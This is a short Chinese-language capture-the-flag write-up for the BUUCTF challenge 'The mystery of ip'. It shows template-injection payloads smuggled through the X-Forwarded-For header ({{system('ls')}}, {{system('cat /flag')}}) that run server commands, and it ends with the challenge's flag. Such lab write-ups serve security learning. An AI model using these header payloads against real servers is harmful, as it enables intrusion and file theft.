BUUCTF——The mystery of ip

BUUCTF——The mystery of ip

进入靶场

有几个功能点，点来看看

flag.php

hint.php

没什么发现

目录扫描

扫个目录看看

扫出来个/.DS_Store

http://node5.buuoj.cn:28576/.DS_Store

下载下来什么也没有什么有用的信息

翻翻Yakit包看看有没有什么能用的东西

flag.php结合题目 The mystery of ip

漏洞利用

构造个XFF试试

X-Forwarded-For: 127.0.0.1

可以利用

这下就好解决了

构造payload

X-Forwarded-For: {{system('ls')}}

试了一下显示不了，还以为不行

用hackbar试了一下

拿到数据

Yakit抓包的时候能显示，一放到Web Fuzzer里就没了

还是直接hackbar吧，能用就行

慢慢找吧

看看根目录

X-Forwarded-For: {{system('ls /')}}

在根目录下找到个flag文件

直接cat看看

X-Forwarded-For: {{system('cat /flag')}}

拿到flag

flag{af94ef81-1cc0-4399-a32f-4493e1c9ce5f}

下播！